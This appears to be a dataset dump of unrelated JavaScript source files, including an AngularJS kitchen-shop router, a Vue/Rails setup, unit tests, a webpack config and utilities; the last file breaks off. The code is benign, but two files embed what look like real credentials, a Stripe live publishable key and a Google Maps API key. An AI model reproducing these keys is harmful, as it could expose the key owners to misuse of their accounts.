code
stringlengths
2
1.05M
// Useful when measuring inter-frame deltas, a PastAndPresent // instance holds a continuously updated reference to the // vector from the frame before, so that when new data rolls // in, a specified callback function can be used to compare // the two values in the manner of your choice. After the // callback executes, the latest vector becomes the previous // vector. define([ "src/util/Vector" ], function (Vector) { "use strict"; function PastAndPresent() { // A reusable 3vec for holding the coords passed into push method; this.latestCoords = [0, 0, 0]; this.previousCoords = [0, 0, 0]; } PastAndPresent.prototype.push = function (coords, operationFunc, context) { this.latestCoords = coords; var returnVal; if (operationFunc) { // A 'this' context is EXPECTED in the args returnVal = operationFunc.call(context, this.previousCoords, this.latestCoords); } // Update the currentCoords // Defend against nulls if (coords) { this.previousCoords = coords; } return returnVal; }; PastAndPresent.prototype.clear = function () { this.latestCoords = [0, 0, 0]; this.previousCoords = [0, 0, 0]; }; // Frequently used callback function PastAndPresent.prototype.getDistance = function (previousCoords, latestCoords) { // Get Euclidean distance between this point and the last return Vector.distanceBetween(previousCoords, latestCoords); }; PastAndPresent.prototype.getDistanceFromLatest = function (otherCoords) { return Vector.distanceBetween(this.latestCoords, otherCoords); }; return PastAndPresent; });
import chai, { expect } from 'chai'; import dirtyChai from 'dirty-chai'; chai.use(dirtyChai); import { shallow } from 'enzyme'; import React from 'react'; describe('WalletHistory', () => { it('should exists', () => { const WalletHistory = require('../WalletHistory'); const wrapper = shallow(( <WalletHistory /> )); expect(wrapper).to.have.length(1); }); it('should render inner components', () => { const WalletHistory = require('../WalletHistory'); const wrapper = shallow(( <WalletHistory /> )); expect(wrapper.find('List')).to.have.length(1); expect(wrapper.find('Subheader')).to.have.length(1); expect(wrapper.find('ListItem')).to.have.length(1); }); it('should render inner components when they are transactions', () => { const WalletHistory = require('../WalletHistory'); const wrapper = shallow(( <WalletHistory transactions={[ { amount: 5, kind: '+', date: new Date() }, { amount: 15, kind: '+', date: new Date() }, { amount: 3, kind: '-', date: new Date() }, ]} /> )); expect(wrapper.find('List')).to.have.length(1); expect(wrapper.find('Subheader')).to.have.length(1); expect(wrapper.find('ListItem')).to.have.length(3); }); });
import Raven from 'raven-js'; export default class ErrorReport { constructor(btn) { this.btn = btn; this.eventId = this.btn.dataset.event; this.render(); } render() { this.btn.addEventListener('click', () => this._invokeRavenModal()); } _invokeRavenModal() { Raven.showReportDialog({ eventId: this.eventId }); } }
var myApp = angular.module('myApp', [ 'ngRoute', 'ui.router', 'firebase', 'appControllers', 'LocalStorageModule' ]).constant('FIREBASE_URL', 'https://vanbertkitchens.firebaseio.com'); var appControllers = angular.module('appControllers', ['firebase']); myApp.run(["$rootScope", "$state", function ($rootScope, $state) { $rootScope.$on("$stateChangeError", function (event, toState, toParams, fromState, fromParams, error) { // We can catch the error thrown when the $requireAuth promise is rejected // and redirect the user back to the home page if (error === "AUTH_REQUIRED") { $state.go("home"); } }); }]); myApp.config(['$stateProvider', '$urlRouterProvider', function ($stateProvider, $urlRouterProvider) { Stripe.setPublishableKey('pk_live_nq4oI0EYDnL0xTLbh4TZbs8s'); // For any unmatched url, send to /route1 $urlRouterProvider.otherwise("/home") $stateProvider .state('home', { url: '/home', templateUrl: 'views/home.html' }) .state('user', { url: '/user', templateUrl: 'views/user/user.html' }) .state('cart', { url: '/cart', templateUrl: 'views/user/cart.php' }) /* LOGIN & REGISTER */ .state('login', { url: '/login', templateUrl: 'views/login.html', controller: 'RegistrationController' }) .state('register', { url: '/register', templateUrl: 'views/register.html', controller: 'RegistrationController' }) /* END OF LOGIN & REGISTER */ .state('admin', { url: '/admin', templateUrl: 'views/admin.html', resolve: { // controller will not be loaded until $requireAuth resolves // Auth refers to our $firebaseAuth wrapper in the example above "currentAuth": ["Auth", function (Auth) { // $requireAuth returns a promise so the resolve waits for it to complete // If the promise is rejected, it will throw a $stateChangeError (see above) return Auth.$requireAuth(); }] } }) .state('admin.doors', { url: '/admin-doors', templateUrl: 'views/admin.doors.html', controller: 'DoorsController', resolve: { // controller will not be loaded until $requireAuth resolves // Auth refers to our $firebaseAuth wrapper in the example above "currentAuth": ["Auth", function (Auth) { // $requireAuth returns a promise so the resolve waits for it to complete // If the promise is rejected, it will throw a $stateChangeError (see above) return Auth.$requireAuth(); }] } }) .state('admin.cabinets', { url: '/admin-cabinets', templateUrl: 'views/admin.cabinets.html', controller: 'CabinetsController', resolve: { // controller will not be loaded until $requireAuth resolves // Auth refers to our $firebaseAuth wrapper in the example above "currentAuth": ["Auth", function (Auth) { // $requireAuth returns a promise so the resolve waits for it to complete // If the promise is rejected, it will throw a $stateChangeError (see above) return Auth.$requireAuth(); }] } }) .state('success', { url: '/success', templateUrl: 'views/success.php', controller: 'CabinetsController', resolve: { // controller will not be loaded until $requireAuth resolves // Auth refers to our $firebaseAuth wrapper in the example above "currentAuth": ["Auth", function (Auth) { // $requireAuth returns a promise so the resolve waits for it to complete // If the promise is rejected, it will throw a $stateChangeError (see above) return Auth.$requireAuth(); }] } }) /* DOORS */ .state('doors', { url: '/doors', templateUrl: 'views/doors.html', controller: 'DoorsController' }) /* END OF DOORS */ /* CABINETS */ .state('cabinets', { url: '/cabinets', templateUrl: 'views/cabinets.html', controller: 'CabinetsController' }) /* END OF CABINETS */ /* CHECKOUT */ .state('checkout', { url: '/checkout', templateUrl: 'views/checkout.html' }) /* END OF CHECKOUT */ .state('closets', { url: '/closets', templateUrl: 'views/closets.html' }) }]); myApp.directive('myEnter', function () { return function (scope, element, attrs) { element.bind("keydown keypress", function (event) { if (event.which === 13) { scope.$apply(function () { scope.$eval(attrs.myEnter); }); event.preventDefault(); } }); }; }); myApp.filter('showByCategory', function () { return function (input) { var out = []; angular.forEach(input, function (product) { if (product.name === 'all') { out.push(product); } else if (product.category.name === input) { out.push(product); } }) return out; } }); myApp.filter('num', function () { return function (input) { return parseFloat(input, 10); }; }); myApp.filter('numInt', function() { return function(input) { return parseInt(input, 10); }; }); myApp.directive('progressBtn', function () { return { templateUrl: 'views/templates/progress-btn.html' }; }); myApp.directive('shoppingCart', function () { return { templateUrl: 'views/templates/shopping-cart.php' }; }); myApp.directive('wishList', function () { return { templateUrl: 'views/templates/wish-list.html' }; }); myApp.directive('topVariablesBar', function () { return { templateUrl: 'views/templates/top-variables-bar.html' }; }); myApp.directive('cabinetsList', function () { return { templateUrl: 'views/templates/cabinets-list.html' }; });
/*global require, QUnit*/ (function () { "use strict"; // Simulate a full-on require environment. window.module = { exports: {} }; require.config({ paths: { jquery: "../../../third-party/jquery/js/jquery" } }); var flockingBuildPath = "../../../dist/flocking-no-jquery"; QUnit.module("Require.js AMD tests"); QUnit.asyncTest("Flocking is defined and populated using the AMD style", function () { require([flockingBuildPath], function (flock) { QUnit.ok(flock, "The 'flock' variable should be defined"); flock.init(); QUnit.ok(flock.enviro.shared, "The shared environment can successfully be initialized."); var synth = flock.synth({ synthDef: { ugen: "flock.ugen.impulse" } }); QUnit.ok(synth, "A synth can be correct instantiated."); flock.enviro.shared.play(); flock.enviro.shared.stop(); QUnit.start(); }); }); }());
/* eslint no-console: 0 */ // Run this example by adding <%= javascript_pack_tag 'hello_vue' %> (and // <%= stylesheet_pack_tag 'hello_vue' %> if you have styles in your component) // to the head of your layout file, // like app/views/layouts/application.html.erb. // All it does is render <div>Hello Vue</div> at the bottom of the page. // import Vue from 'vue' // import App from '../app.vue' // document.addEventListener('DOMContentLoaded', () => { // document.body.appendChild(document.createElement('hello')) // const app = new Vue({ // render: h => h(App) // }).$mount('hello') // console.log(app) // }) // The above code uses Vue without the compiler, which means you cannot // use Vue to target elements in your existing html templates. You would // need to always use single file components. // To be able to target elements in your existing html/erb templates, // comment out the above code and uncomment the below // Add <%= javascript_pack_tag 'hello_vue' %> to your layout // Then add this markup to your html template: // // <div id='hello'> // {{message}} // <app></app> // </div> import Vue from 'vue/dist/vue.esm' // import * as VueGoogleMaps from 'vue2-google-maps' import SocialSharing from 'vue-social-sharing' import App from '../app.vue' import GoogleMap from '../google-map.vue' import InmoMap from '../inmo-map' var VueGoogleMaps = require('vue2-google-maps'); // var SocialSharing = require('vue-social-sharing'); Vue.use(SocialSharing); // Vue.use(VueGoogleMaps); Vue.use(VueGoogleMaps, { load: { key: 'AIzaSyCPorm8YzIaUGhKfe5cvpgofZ_gdT8hdZw' // v: '3.26', // Google Maps API version // libraries: 'places', // If you want to use places input } }); document.addEventListener('DOMContentLoaded', () => { const app = new Vue({ el: '#main-vue', data: { message: "Can you say hello?" }, components: { } }) }) // // // // If the using turbolinks, install 'vue-turbolinks': // // yarn add 'vue-turbolinks' // // Then uncomment the code block below: // // import TurbolinksAdapter from 'vue-turbolinks'; // import Vue from 'vue/dist/vue.esm' // import App from '../app.vue' // // Vue.use(TurbolinksAdapter) // // document.addEventListener('turbolinks:load', () => { // const app = new Vue({ // el: '#hello', // data: { // message: "Can you say hello?" // }, // components: { App } // }) // })
'use strict'; var fs = require('fs'); var path = require('path'); var Promise = require('promise'); var readFile = Promise.denodeify(fs.readFile); module.exports = getResult; function getResult(filename, options) { var input = readFile(filename, 'utf8'); var expected = readFile(options.expected(filename), 'utf8'); var actual = readFile(options.actual(filename), 'utf8'); return Promise.all([input, expected, actual]).then(function (results) { return { name: path.basename(filename), filename: filename, input: results[0], expected: results[1], actual: results[2], passed: results[1].trim() === results[2].trim() }; }, function (err) { return Promise.all([input, expected]).then(function (results) { return { name: path.basename(filename), filename: filename, input: results[0], expected: results[1], actual: 'ENOENT', passed: false }; }); }); }
Function.prototype.inheritsFrom = function (parentClassOrObject) { if (parentClassOrObject.constructor == Function) { //Normal Inheritance this.prototype = new parentClassOrObject; this.prototype.constructor = this; this.prototype.parent = parentClassOrObject.prototype; } else { //Pure Virtual Inheritance this.prototype = parentClassOrObject; this.prototype.constructor = this; this.prototype.parent = parentClassOrObject; } return this; }; if (!window.requestAnimationFrame) { window.requestAnimationFrame = (function () { return window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function (/* function FrameRequestCallback */ callback, /* DOMElement Element */ element) { window.setTimeout(callback, 1000 / 60); }; })(); } function random_color() { var rint = Math.round(0xffffff * Math.random()); return ('0x' + rint.toString(16)).replace(/^#0([0-9a-f]{6})$/i, '#$1'); } function array_intersect() { var i, all, shortest, nShortest, n, len, ret = [], obj={}, nOthers; nOthers = arguments.length-1; nShortest = arguments[0].length; shortest = 0; for (i=0; i<=nOthers; i++){ n = arguments[i].length; if (n<nShortest) { shortest = i; nShortest = n; } } for (i=0; i<=nOthers; i++) { n = (i===shortest)?0:(i||shortest); //Read the shortest array first. Read the first array instead of the shortest len = arguments[n].length; for (var j=0; j<len; j++) { var elem = arguments[n][j]; if(obj[elem] === i-1) { if(i === nOthers) { ret.push(elem); obj[elem]=0; } else { obj[elem]=i; } }else if (i===0) { obj[elem]=0; } } } return ret; }
import { Component } from 'react'; import Link from 'next/link'; import CollectionsBox from './CollectionsBox'; import Filter from './Filter'; import Batch from './Batch'; import { connect } from 'react-redux'; import { fetchCollections, fetchBatchLimits } from '../actions'; import List from '@material-ui/core/List'; import Grid from '@material-ui/core/Grid'; import Button from '@material-ui/core/Button'; import TextField from '@material-ui/core/TextField'; import { withStyles } from '@material-ui/core/styles'; import Typography from '@material-ui/core/Typography'; const styles = theme => ({ toolbar: theme.mixins.toolbar, main: { paddingLeft: theme.spacing.unit * 3, paddingRight: theme.spacing.unit * 3, }, }); class BatchPage extends Component { state = { terms: '', }; async componentDidMount() { await this.getCollectionsAndLimits(); } componentDidCatch(error) { this.setState({ error }); } async getCollectionsAndLimits() { const { dispatch } = this.props; dispatch(fetchCollections()); dispatch(fetchBatchLimits()); } buildQuery(termsString, batchSize) { if (!termsString.trim()) return null; if (!this.props.selectedCollections) return null; return { terms: termsString.trim().split('\n'), collections: this.props.selectedCollections, batchSize: batchSize, }; } onSearch = e => { e.preventDefault(); this.setState({ terms: this.state.query, }); }; render() { const { classes, limits, error, isFetching } = this.props; if (!limits) { return <p>loading ...</p>; } if (error) { return <div>{error.toString()}</div>; } const { terms } = this.state; const batchSize = limits.batch; const query = this.buildQuery(terms, batchSize); let limitsMessage = null; if (limits && limits.requests) { let count = limits.batch * limits.requests.limit; let timeout = limits.requests.interval; limitsMessage = ( <span className="batch-rate-limit-message"> <Typography> rate limit: {count} terms every {timeout} seconds </Typography> </span> ); } return ( <form id="batch-form" ref="form"> <div className={classes.toolbar} /> <Grid container> <Grid item sm={2}> <List dense> <Filter title="Collections" defaultOpen colorIfFiltered={false}> <CollectionsBox /> </Filter> </List> </Grid> <Grid item sm={6}> <div className={classes.main}> <TextField id="multiline-flexible" label="Batch search queries (one per line)" multiline fullWidth autoFocus rows="4" rowsMax={batchSize || Infinity} value={this.state.query} onChange={e => this.setState({ query: e.target.value }) } className={classes.textField} margin="normal" /> <Grid container justify="space-between"> <Grid item> <Button variant="contained" color="primary" disabled={isFetching} color="primary" onClick={this.onSearch}> Batch search </Button> </Grid> <Grid item> <Link href="/"> <a> <Typography> Back to single search </Typography> </a> </Link> </Grid> </Grid> <Typography>{limitsMessage}</Typography> <Batch query={query} /> </div> </Grid> </Grid> </form> ); } } const mapStateToProps = ({ batch: { limits, error, isFetching }, collections: { selected: selectedCollections }, }) => ({ limits, error, isFetching, selectedCollections, }); export default withStyles(styles)(connect(mapStateToProps)(BatchPage));
// Generated by CoffeeScript 1.8.0 var __hasProp = {}.hasOwnProperty, __extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }; (function() { var Sidebar; Sidebar = (function(_super) { __extends(Sidebar, _super); function Sidebar() { return Sidebar.__super__.constructor.apply(this, arguments); } Sidebar.prototype.init = function(id, title) { var titleEl; this.id = id; this.title = title; this.domElement = document.createElement('div'); this.domElement.id = this.id; this.domElement.className = 'sidebar'; if (this.title) { titleEl = document.createElement('h2'); titleEl.className = 'sidebar-title'; titleEl.innerText = this.title; this.domElement.titleEl = titleEl; return this.domElement.appendChild(titleEl); } }; return Sidebar; })(View); this.addSidebar = function(editor) { return new Sidebar(editor, _.cid(), 'Primitives'); }; return this.Sidebar = Sidebar; })();
(function () { 'use strict'; angular .module('thecalculator') .factory('OperationFactory', OperationFactory); OperationFactory.$inject = []; function OperationFactory() { function Operation(op) { var leftOperandValue = op.right; var rightOperandValue = op.left; var operator = op.operator; var result = null; return Object.create({}, { leftValue: { enumerable: true, set: function (value) { leftOperandValue = Number(value); }, get: function () { return leftOperandValue; } }, rightValue: { enumerable: true, set: function (value) { rightOperandValue = Number(value); }, get: function () { return rightOperandValue; } }, operator: { enumerable: true, set: function (value) { operator = value; }, get: function () { return operator; } }, operationResult: { enumerable: true, get: function () { return result; }, set: function (value) { result = value; } }, result: { configurable: false, enumerable: true, value: function () { return operator.execute(this.leftValue, this.rightValue); } }, toStatement: { configurable: false, enumerable: true, value: function () { return '' + this.leftValue + ' ' + operator.symbol + ' ' + this.rightValue + ' = ' + this.operationResult; } } }); } function createOperation(operation) { return new Operation(operation || {}); } return { new: createOperation }; } })();
"use strict"; const HASH = Symbol.for('HASH'); const stylecow = require('../index'); stylecow.IdSelector = class IdSelector extends require('./classes/node-name') { static create (reader, parent) { if (reader.currToken === HASH) { return (new stylecow.IdSelector(reader.data())).setName(reader.getStringAndMove().substr(1)); } } constructor(data) { super(data, 'IdSelector'); } toString () { return '#' + this.name; } }
'use strict' import Vue from 'vue' import router from './router' import App from 'vue/App' // database require('./firebase') // styles require('sass/app') window.app = new Vue({ router, render: h => h(App) }).$mount('#app')
const webpack = require('webpack'); const ExtractTextPlugin = require('extract-text-webpack-plugin'); const path = require('path'); const autoprefixer = require('autoprefixer'); module.exports = { // For production build we want to extract CSS to stand-alone file // Provide `extractStyles` param and `bootstrap-loader` will handle it entry: [ 'font-awesome-loader!./font-awesome.prod.config.js', 'bootstrap-loader/extractStyles', 'tether', './app/App' ], output: { path: path.join(__dirname, 'public', 'assets'), filename: 'app.js' }, resolve: { extensions: [ '', '.js', '.jsx' ] }, plugins: [ new webpack.ProvidePlugin({ // for bootstrap (tooltip) jQuery: 'jquery' }), new ExtractTextPlugin('app.css', { allChunks: true }), new webpack.DefinePlugin({ 'process.env': { 'NODE_ENV': JSON.stringify('production') } }), new webpack.ProvidePlugin({ 'window.Tether': 'tether' }), new webpack.DefinePlugin({ 'process.env': { NODE_ENV: JSON.stringify('production') }}), new webpack.optimize.DedupePlugin(), new webpack.optimize.OccurrenceOrderPlugin(), new webpack.optimize.UglifyJsPlugin({minimize: true, mangle:true}) ], module: { loaders: [ { test: /\.jsx?$/, loaders: [ 'babel' ], exclude: /node_modules/ }, { test: /\.css$/, loader: ExtractTextPlugin.extract( 'style', 'css?modules&importLoaders=1&localIdentName=[name]__[local]__[hash:base64:5]' + '!postcss' ) }, { test: /\.scss$/, loader: ExtractTextPlugin.extract( 'style', 'css?modules&importLoaders=2&localIdentName=[name]__[local]__[hash:base64:5]' + '!postcss' + '!sass' ) }, { test: /\.woff2?(\?v=[0-9]\.[0-9]\.[0-9])?$/, // Limiting the size of the woff fonts breaks font-awesome ONLY for the extract text plugin // loader: 'url?limit=10000' loader: 'url' }, { test: /\.(ttf|eot|svg)(\?[\s\S]+)?$/, loader: 'file' } ] }, postcss: [ autoprefixer ] };
Package.describe({ name: 'cornerstone', summary: 'Cornerstone Web-based Medical Imaging libraries', version: '0.0.1' }); Package.onUse(function(api) { api.versionsFrom('1.3.5.1'); api.use('jquery'); api.use('dicomweb'); api.addFiles('client/cornerstone.js', 'client', { bare: true }); api.addFiles('client/cornerstoneMath.js', 'client', { bare: true }); api.addFiles('client/cornerstoneTools.js', 'client', { bare: true }); api.addFiles('client/cornerstoneWADOImageLoader.js', 'client', { bare: true }); api.addFiles('client/libopenjpeg.js', 'client', { bare: true }); api.addFiles('client/libCharLS.js', 'client', { bare: true }); api.addFiles('client/dicomParser.js', 'client', { bare: true }); api.addFiles('client/hammer.js', 'client', { bare: true }); api.addFiles('client/jquery.hammer.js', 'client', { bare: true }); api.export('cornerstone', 'client'); api.export('cornerstoneMath', 'client'); api.export('cornerstoneTools', 'client'); api.export('cornerstoneWADOImageLoader', 'client'); api.export('dicomParser', ['client', 'server']); });
'use strict'; const AggregationExpression = require('./AggregationExpression'); class AggregationColumn extends AggregationExpression { /** * @param {PreparingContext} preparingContext * @param {string[]} alias * @param {Node} expression * @param {boolean} isUserDefinedAlias * @returns {AggregationColumn} */ constructor(preparingContext, alias, expression, isUserDefinedAlias) { super(preparingContext, expression); this.alias = alias; this.isUserDefinedAlias = isUserDefinedAlias; } } module.exports = AggregationColumn;
var algojs = require("../../"); var array = [ 2, 3, 1, 4, 5, 9, 6, 8, 7, 0 ]; algojs.algorithm.qsort(array); console.log(array); algojs.algorithm.qsort(array, function(a, b) { if(a % 2 && !(b % 2)) return true; if(b % 2 && !(a % 2)) return false; return a < b; }); console.log(array); var names = [ { name: "abc", age: 10, func: function() { return 20; } }, { name: "foo", age: 5, func: function() { return 10; } }, { name: "foobar", age: 1, func: function() { return 15 } } ]; algojs.algorithm.qsort(names, function(a, b) { return a.age < b.age; }); console.log(names); algojs.algorithm.qsort(names, function(a, b) { return a.func() < b.func(); }); console.log(names); console.log(names.qsort(function(a, b) { return a.name < b.name; }));
import createSvgIcon from './utils/createSvgIcon'; import { jsx as _jsx } from "react/jsx-runtime"; export default createSvgIcon([/*#__PURE__*/_jsx("path", { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM7.68 14.98H6V9h1.71c1.28 0 1.71 1.03 1.71 1.71v2.56c0 .68-.42 1.71-1.74 1.71zm4.7-3.52v1.07H11.2v1.39h1.93v1.07h-2.25c-.4.01-.74-.31-.75-.71V9.75c-.01-.4.31-.74.71-.75h2.28v1.07H11.2v1.39h1.18zm4.5 2.77c-.48 1.11-1.33.89-1.71 0L13.77 9h1.18l1.07 4.11L17.09 9h1.18l-1.39 5.23z" }, "0"), /*#__PURE__*/_jsx("path", { d: "M7.77 10.12h-.63v3.77h.63c.14 0 .28-.05.42-.16.14-.1.21-.26.21-.47v-2.52c0-.21-.07-.37-.21-.47-.14-.1-.28-.15-.42-.15z" }, "1")], 'LogoDevSharp');
import axios from "axios"; export function logMeIn(email, password) { const logInData = {email, password} return { type: "LOGIN", payload: axios({ method: 'post', url: 'https://pumpkin-basket.aguilarstory.com/api/user/auth/app-external', data: logInData, headers: {'Content-Type': 'application/json'} }) } } export function logMeOut() { return {type: "LOGIN_LOGOUT"} } export function meFromToken() { const access_token = window.localStorage.getItem("access_token") return function(dispatch) { axios({ method: 'get', url: "https://pumpkin-basket.aguilarstory.com/api/user-data", headers: { "Authorization": "JWT " + window.localStorage.getItem("access_token") } }).then((response) => { dispatch({type: "LOGIN_REFRESH_FULFILLED", payload: response}) }).catch((err) => { dispatch({type: "LOGIN_REJECTED", payload: err}) }) } }
'use strict'; const expect = require('chai').expect, fail = expect.fail, merge = require('../../../lib/utils/object_utils').merge, values = require('../../../lib/utils/object_utils').values, areEntitiesEqual = require('../../../lib/utils/object_utils').areEntitiesEqual; describe('ObjectUtils', function () { describe('::merge', function () { var object1 = { a: 1, b: 2 }; var object2 = { b: 3, c: 4 }; describe('when merging two object', function () { describe('with the first being nil or empty', function () { it('returns the second', function () { var merged1 = merge(null, {a: 1}); var merged2 = merge({}, {a: 1}); expect(merged1).to.deep.eq({a: 1}); expect(merged2).to.deep.eq({a: 1}); }); }); describe('with the second being nil or empty', function () { it('returns the first', function () { var merged1 = merge({a: 1}, null); var merged2 = merge({a: 1}, null); expect(merged1).to.deep.eq({a: 1}); expect(merged2).to.deep.eq({a: 1}); }); }); it('returns the merged object by merging the second into the first', function () { expect( merge(object1, object2) ).to.deep.equal({a: 1, b: 3, c: 4}); expect( merge(object2, object1) ).to.deep.equal({a: 1, b: 2, c: 4}); }); it('does not modify any of the two objects', function () { merge(object1, object2); expect( object1 ).to.deep.equal({a: 1, b: 2}); expect( object2 ).to.deep.equal({b: 3, c: 4}); }); }); }); describe('::values', function () { describe('when passing a nil object', function () { it('fails', function () { try { values(null); fail(); } catch (error) { expect(error.name).to.eq('NullPointerException'); } try { values(undefined); fail(); } catch (error) { expect(error.name).to.eq('NullPointerException'); } }); }); describe('when passing a valid object', function () { it("returns its keys' values", function () { expect(values({ a: 42, b: 'A string', c: [1, 2, 3, 4, 5], d: {d1: '', d2: 'something'} })).to.deep.eq([42, 'A string', [1, 2, 3, 4, 5], {d1: '', d2: 'something'}]); }); }); }); describe('::areEntitiesEqual', function () { describe('when comparing two equal objects', function () { describe('as they are empty', function () { it('returns true', function () { var firstEmptyObject = { fields: [], relationships: [] }; var secondEmptyObject = { fields: [], relationships: [] }; expect(areEntitiesEqual(firstEmptyObject, secondEmptyObject)).to.be.true; }); }); describe('they have no fields, but only relationships', function () { it('returns true', function () { var firstObject = { fields: [], relationships: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ] }; var secondObject = { fields: [], relationships: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ] }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.true; }); }); describe('they have fields but no relationships', function () { it('returns true', function () { var firstObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [] }; var secondObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [] }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.true; }); }); describe('they have both fields and relationships', function () { it('returns true', function () { var firstObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ] }; var secondObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ] }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.true; }); }); }); describe('when comparing two unequal objects', function () { describe('as one of them is not empty, the other is', function () { it('returns false', function () { var firstObject = { fields: [], relationships: [] }; var secondObject = { fields: [], relationships: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ] }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.false; var firstObject = { fields: [], relationships: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ] }; var secondObject = { fields: [], relationships: [] }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.false; }); }); describe('as both of them have different fields', function () { it('returns false', function () { var firstObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [] }; var secondObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 44 } ], relationships: [] }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.false; }); }); describe('as both of them have different relationships', function () { it('returns false', function () { var firstObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 2, anotherField: 44 } ] }; var secondObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 } ] }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.false; }); }); describe('as they do not possess the same number of fields', function () { it('returns false', function () { var firstObject = { fields: [], relationships: [ { id: 1, anotherField: 44 } ] }; var secondObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 } ] }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.false; }); }); describe('as they do not have the same number of keys in fields', function () { it('returns false', function () { var firstObject = { fields: [ { id: 1, theAnswer: 42, yetAnother: false }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 } ] }; var secondObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 } ] }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.false; }) }); describe('as they do not possess the same number of relationships', function () { it('returns false', function () { var firstObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 } ] }; var secondObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 }, { id: 2, anotherField: 44 } ] }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.false; }); describe('as they do not have the same number of fields in a relationship', function () { it('returns false', function () { var firstObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 } ] }; var secondObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44, yetAnother: false } ] }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.false; }); }); }); describe('as they do not have the options', function () { it('returns false', function () { var firstObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 }, { id: 2, anotherField: 44 } ], dto: 'mapstruct', pagination: 'pager', service: 'no' }; var secondObject = { fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 }, { id: 2, anotherField: 44 } ], dto: 'mapstruct', pagination: 'no', service: 'no' }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.false; }); }); describe('as they do not have the same table name', function () { it('returns false', function () { var firstObject = { entityTableName: 'first', fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 }, { id: 2, anotherField: 44 } ], dto: 'mapstruct', pagination: 'pager', service: 'no' }; var secondObject = { entityTableName: 'second', fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 }, { id: 2, anotherField: 44 } ], dto: 'mapstruct', pagination: 'no', service: 'no' }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.false; }) }); describe('as they do not have the same comments', function() { it('returns false', function() { var firstObject = { javadoc: 'My first comment', fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 }, { id: 2, anotherField: 44 } ], dto: 'mapstruct', pagination: 'pager', service: 'no' }; var secondObject = { javadoc: 'My Second Comment', fields: [ { id: 1, theAnswer: 42 }, { id: 2, notTheAnswer: 43 } ], relationships: [ { id: 1, anotherField: 44 }, { id: 2, anotherField: 44 } ], dto: 'mapstruct', pagination: 'no', service: 'no' }; expect(areEntitiesEqual(firstObject, secondObject)).to.be.false; }); }); }); }); });
/** * @private * @flow */ import fs from 'fs'; import * as util from 'silk-sysutils'; import version from 'silk-core-version'; // Vibrate by default only on developer builds let enabled = !util.getboolprop('persist.silk.quiet', version.official); /** * Silk vibrator module * * @module silk-vibrator * @example * 'use strict'; * * const Vibrator = require('silk-vibrator').default; * let vibrator = new Vibrator(); * vibrator.pattern(100, 50, 100); */ export default class Vibrator { _active: boolean = false; _vib(duration: number) { if (enabled) { try { fs.writeFileSync('/sys/class/timed_output/vibrator/enable', String(duration)); } catch (err) { if (err.code === 'ENOENT') { enabled = false; } else { throw err; } } } } /** * Test if the vibrator is active * * @return true if vibrator is active, false otherwise * @memberof silk-vibrator * @instance */ get active(): boolean { return this._active; } /** * Turn on the vibrator for the specified duration * * @param duration Duration in milliseconds to activate the vibrator for * @memberof silk-vibrator * @instance */ on(duration: number) { this._active = true; this._vib(duration); } /** * 